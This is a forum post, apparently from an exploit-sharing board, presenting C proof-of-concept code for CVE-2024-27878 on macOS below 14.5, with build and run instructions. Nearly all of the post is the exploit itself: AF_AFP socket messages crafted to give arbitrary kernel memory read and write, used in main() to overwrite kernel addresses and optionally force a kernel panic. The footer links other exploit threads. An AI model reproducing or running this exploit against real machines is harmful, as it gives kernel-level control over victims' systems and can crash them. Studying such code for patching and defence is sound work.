Buffer Overflow in Apple macOS below v14.5
by Loki - Monday August 5, 2024 at 09:52 AM
#1
CVE-2024-27878 : An app with root privileges may be able to execute arbitrary code with kernel privileges.
Tested on macOS versions below 14.5
Replace <filename> as needed.
//$clang <filename> -o poc //$./poc //Try it on macOS versions below 14.5 #import <Foundation/Foundation.h> #include <sys/mount.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define AF_AFP  36 void hex_dump(void *data, int size) {     unsigned char *p = data;     unsigned long addr = 0;     unsigned char c;     int n;     char bytestr[4] = {0};     char addrstr[10] = {0};     char hexstr[ 16*3 + 5] = {0};     char charstr[16*1 + 5] = {0};     for(n=1;n<=size;n++) {         if (n%16 == 1) {             /* store address for this line */             snprintf(addrstr, sizeof(addrstr), "%.4lX",               addr);         }                     c = *p;         if (isprint(c) == 0) {             c = '.';         }         /* store hex str (for left side) */         snprintf(bytestr, sizeof(bytestr), "%02X ", *p);         strncat(hexstr, bytestr, sizeof(hexstr)-strlen(hexstr)-1);         /* store char str (for right side) */         snprintf(bytestr, sizeof(bytestr), "%c", c);         strncat(charstr, bytestr, sizeof(charstr)-strlen(charstr)-1);         if(n%16 == 0) {             /* line completed */             printf("[%4.4s]  %-50.50s  %s\n", addrstr, hexstr, charstr);             hexstr[0] = 0;             charstr[0] = 0;         } else if(n%8 == 0) {             /* half line: add whitespaces */             strncat(hexstr, "  ", sizeof(hexstr)-strlen(hexstr)-1);             strncat(charstr, " ", sizeof(charstr)-strlen(charstr)-1);         }         p++; /* next byte */         addr++; /* increment address */     }     if (strlen(hexstr) > 0) {         /* print rest of buffer if not empty */         printf("[%4.4s]  %-50.50s  %s\n", addrstr, hexstr, charstr);     } } static char * mktempdir(void) {     char *path = malloc(PATH_MAX);     strcpy(path, "/tmp/dmc.XXXXXXXX");     atexit_b(^{ free(path); });     mkdtemp(path);     return path; } void load_asp_tcp(void){     struct vfsconf conf ={};     int err = getvfsbyname("afpfs", &conf);     if(err ==0){         printf("loaded\n");         return ;     }     int pid = fork();     char* mount_dir = mktempdir();     if(pid==0){         execl("/sbin/mount_afp", "/sbin/mount_afp", "afp://null:password@127.0.0.1/any",               mount_dir, 0);         exit(0);     }     else{         int status = 0;         wait4(pid, &status, 0, NULL);     } } uint8_t* kread(uint64_t target, uint32_t len){     int err = 0;     int tcp_so = socket(AF_INET, SOCK_STREAM, 0);         int opt = 1;     if (setsockopt(tcp_so, SOL_SOCKET, SO_REUSEPORT, &opt,                       sizeof(opt)))     {         perror("setsockopt");         close(tcp_so);         return 0;     }     struct sockaddr_in address;     address.sin_family = AF_INET;     address.sin_addr.s_addr = inet_addr("127.0.0.1");     address.sin_port = htons(8088);     if (bind(tcp_so, (struct sockaddr*)&address,                 sizeof(address))< 0)     {         perror("bind failed");         exit(EXIT_FAILURE);     }     if (listen(tcp_so, 3) < 0) {         perror("listen");         exit(EXIT_FAILURE);     }         int asp_sock = socket(AF_AFP, SOCK_STREAM, 0);         if(asp_sock==-1){         printf("cannot create socket\n");         return 0;     }         err = connect(asp_sock, (struct sockaddr *)&address,sizeof(address));     if(err){         printf("connect ret %d\n",err);         close(asp_sock);         return 0;     }         struct sockaddr_in  cli_addr;     socklen_t clilen = sizeof(cli_addr);     int newsockfd = accept(tcp_so,                     (struct sockaddr *) &cli_addr,                     &clilen);         void* temp = malloc(1024);     memset(temp, 0x77,1024);     struct iovec iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };     struct msghdr msg = {};     char buf[96]={};       *(uint32*)(buf + 0)= 8;     *(uint32*)(buf + 16)= 1;     *(uint64*)(buf + 8)= 0xFFFFFE0088888888;     *(uint32*)(buf + 20)= 2;         *(uint64*)(buf + 24)= target;     *(uint32*)(buf + 32)= len;     *(uint32*)(buf + 36)= 2;         uint64_t tmp=0x1234;     *(uint64*)(buf + 72)= &tmp;     *(uint32*)(buf + 80)= 8;         *(uint32*)(buf + 84)= 1;         msg.msg_iov = &iovec;     msg.msg_iovlen = 1;     msg.msg_control = buf;     msg.msg_controllen = CMSG_SPACE(96-12);     sendmsg(asp_sock, &msg, 0);     struct msghdr recv_msg={};     struct iovec recv_iov={};     void* recv_buf = malloc(4096);     memset(recv_buf, 0, 4096);         void* recv_control = malloc(1024);     memset(recv_control, 0, 1024);     recv_iov.iov_base = recv_buf;     recv_iov.iov_len = 4096;         recv_msg.msg_name = NULL;     recv_msg.msg_namelen = 0;     recv_msg.msg_iov = &recv_iov;     recv_msg.msg_iovlen = 1;     recv_msg.msg_control = recv_control;     recv_msg.msg_controllen = 2048;     recvmsg(newsockfd, &recv_msg, 0);         close(asp_sock);     close(tcp_so);     close(newsockfd);     free(recv_control);     return recv_buf; } //kread(0xfffffe1b99999999, 512); uint64_t kw64(uint64_t target, uint64_t value){     int err = 0;     int tcp_so = socket(AF_INET, SOCK_STREAM, 0);     int opt = 1;     if (setsockopt(tcp_so, SOL_SOCKET, SO_REUSEPORT, &opt,                       sizeof(opt)))     {         perror("setsockopt");         close(tcp_so);         return 0;     }     struct sockaddr_in address;     address.sin_family = AF_INET;     address.sin_addr.s_addr = inet_addr("127.0.0.1");     address.sin_port = htons(8088);     if (bind(tcp_so, (struct sockaddr*)&address,                 sizeof(address))< 0)     {         perror("bind failed");         return 0;     }     if (listen(tcp_so, 3) < 0) {         perror("listen");         return 0;     }         int asp_sock = socket(AF_AFP, SOCK_STREAM, 0);     if(asp_sock==-1){         printf("cannot create socket\n");         close(tcp_so);         return 0;     }         err = connect(asp_sock, (struct sockaddr *)&address,sizeof(address));     if(err){         printf("connect ret %d\n",err);         close(tcp_so);         close(asp_sock);         return 0;     }         struct sockaddr_in  cli_addr;     socklen_t clilen = sizeof(cli_addr);     int newsockfd = accept(tcp_so,                     (struct sockaddr *) &cli_addr,                     &clilen);       struct iovec iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };     struct msghdr msg = {};     char buf[96]={};         *(uint32*)(buf + 0)= 2;     *(uint32*)(buf + 16)= 8;     *(uint64*)(buf + 8)= target;     *(uint32*)(buf + 20)= 2;         uint64_t v_for_copyin = 0x12345678;     *(uint64*)(buf + 24)= &v_for_copyin;     *(uint32*)(buf + 32)= 8;     *(uint32*)(buf + 36)= 8;         {         uint64_t v_for_copyout1=0x12345678;         *(uint64*)(buf + 56)= &v_for_copyout1;         *(uint32*)(buf + 64)= 8;     }     {         uint64_t v_for_copyout2=0x12345678;         *(uint64*)(buf + 40)= &v_for_copyout2;         *(uint32*)(buf + 48)= 8;     }     {         uint16_t v_for_copyout3=0x1234;         *(uint64*)(buf + 72)= &v_for_copyout3;         *(uint32*)(buf + 80)= 8;     }         *(uint32*)(buf + 84)= 1;         msg.msg_iov = &iovec;     msg.msg_iovlen = 1;     msg.msg_control = buf;     msg.msg_controllen = CMSG_SPACE(96-12);     sendmsg(asp_sock, &msg, 0);         struct msghdr recv_msg={};     struct iovec recv_iov={};     void* recv_buf = malloc(4096);     memset(recv_buf, 0, 4096);         void* recv_control = malloc(1024);     memset(recv_control, 0, 1024);     recv_iov.iov_base = recv_buf;     recv_iov.iov_len = 4096;         recv_msg.msg_name = NULL;     recv_msg.msg_namelen = 0;     recv_msg.msg_iov = &recv_iov;     recv_msg.msg_iovlen = 1;     recv_msg.msg_control = recv_control;     recv_msg.msg_controllen = 2048;     recvmsg(newsockfd, &recv_msg, 0);         struct msghdr reply_msg={};     struct iovec reply_iov={};         uint8_t reply_buf[16]={};         *(uint8_t*)(reply_buf + 0) = 1;     *(uint8_t*)(reply_buf + 1) = 8;     *(uint16_t*)(reply_buf + 2) = htons(1);     *(uint32_t*)(reply_buf + 8) = htonl(8);     reply_iov.iov_base = reply_buf;     reply_iov.iov_len = 16;     reply_msg.msg_iov = &reply_iov;     reply_msg.msg_iovlen = 1;     sendmsg(newsockfd, &reply_msg, 0);       struct msghdr packet_msg={};     struct iovec packet_iov={};         uint64_t packet_buf = value;     packet_iov.iov_base = &packet_buf;     packet_iov.iov_len = 8;     packet_msg.msg_iov = &packet_iov;     packet_msg.msg_iovlen = 1;     sendmsg(newsockfd, &packet_msg, 0);         struct iovec asp_reply_iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };     struct msghdr asp_reply_msg = {};     char asp_reply_control_buf[96]={};     *(uint32*)(asp_reply_control_buf + 0)= 0x11;     *(uint32*)(asp_reply_control_buf + 16)= 1;     *(uint64*)(asp_reply_control_buf + 8)= 0xFFFFFE0088888888;     *(uint32*)(asp_reply_control_buf + 20)= 2;         *(uint64*)(asp_reply_control_buf + 24)= 0xfffffdf040000000;     *(uint32*)(asp_reply_control_buf + 32)= 64;     *(uint32*)(asp_reply_control_buf + 36)= 2;         {         uint64_t tmp=1;         *(uint64*)(asp_reply_control_buf + 72)= &tmp;         *(uint32*)(asp_reply_control_buf + 80)= 8;     }         *(uint32*)(asp_reply_control_buf + 84)= 1;         asp_reply_msg.msg_iov = &asp_reply_iovec;     asp_reply_msg.msg_iovlen = 1;     asp_reply_msg.msg_control = asp_reply_control_buf;     asp_reply_msg.msg_controllen = CMSG_SPACE(96-12);     sendmsg(asp_sock, &asp_reply_msg, 0);     close(asp_sock);     close(tcp_so);     close(newsockfd);     free(recv_control);     return value; } /* try kw64(0xFFFFFFFF12345678,0x1234567887654321) or kread(0xfffffe1b99999999, 512) to trigger kernel panic 0xfffffdf040000000 is a valid kernel address. */ int main(){     load_asp_tcp();     kw64(0xfffffdf040000000,0x1234567887654321);     kw64(0xfffffdf040000008,0xAABBCCDDEEFF0011);     uint8_t* kmem = kread(0xfffffdf040000000, 1024);     hex_dump(kmem+0x18,16);     printf("want a kernel panic?\n");     getchar();     kw64(0xFFFFFFFF12345678,0x1234567887654321);     return 0; }


Omnicer
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Apple iOS 17.2.1 Screen Time Passcode Retrieval miyako 93 6,769 07-31-2025, 01:55 PM
Last Post: rommelround
  ANE kernel r/w exploit for iOS 15 and macOS 12 (Source code)!! spirits 8 1,520 02-05-2025, 11:23 AM
Last Post: xoclutch
  Laravel Valet 2.0.3 - Local Privilege Escalation macOS luszxis 0 1,173 01-26-2024, 08:25 PM
Last Post: luszxis
  Cracked macOS apps drain wallets using scripts fetched from DNS records (Analysis) tengusec 0 1,278 01-23-2024, 05:10 AM
Last Post: tengusec
  CVE-2023-4863 - The heap buffer overflow vulnerability in the WebP Codec malibu 1 3,086 10-09-2023, 07:30 PM
Last Post: Frame



 Users browsing this thread: 1 Guest(s)